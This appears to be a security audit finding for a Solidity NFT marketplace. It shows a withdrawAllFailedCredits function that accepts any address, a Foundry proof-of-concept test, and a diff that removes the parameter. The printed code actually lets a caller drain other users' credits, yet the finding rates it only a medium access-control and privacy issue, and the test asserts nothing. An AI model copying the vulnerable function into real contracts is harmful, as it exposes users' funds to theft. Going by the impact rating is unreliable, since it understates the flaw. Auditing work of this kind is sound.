Root + Impact
Description
The withdrawAllFailedCredits function allows any user to attempt withdrawal for any address, violating access control principles by accepting any address as the _receiver parameter without authorization checks.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood: High - any user can call with any address
Impact: Medium - access control violation, privacy concerns
Proof of Concept
Any user can attempt withdrawal for any address without authorization:
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarketPlace} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts_NFT_ERC721} from "../src/BidBeasts_NFT_ERC721.sol";
contract AccessControlTest is Test {
BidBeastsNFTMarketPlace marketplace;
BidBeasts_NFT_ERC721 nft;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
nft = new BidBeasts_NFT_ERC721();
marketplace = new BidBeastsNFTMarketPlace(address(nft));
nft.mint(alice, 1);
vm.prank(alice);
nft.approve(address(marketplace), 1);
vm.prank(alice);
marketplace.listNFT(1, 1 ether, 2 ether);
vm.deal(bob, 1.5 ether);
vm.prank(bob);
marketplace.placeBid{value: 1.5 ether}(1);
vm.warp(block.timestamp + 2 days);
vm.prank(bob);
marketplace.endAuction(1);
}
function testUnauthorizedAccess() public {
vm.prank(alice);
marketplace.withdrawAllFailedCredits(bob);
}
}
Recommended Mitigation
Remove address parameter to restrict access to caller's credits only.
function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}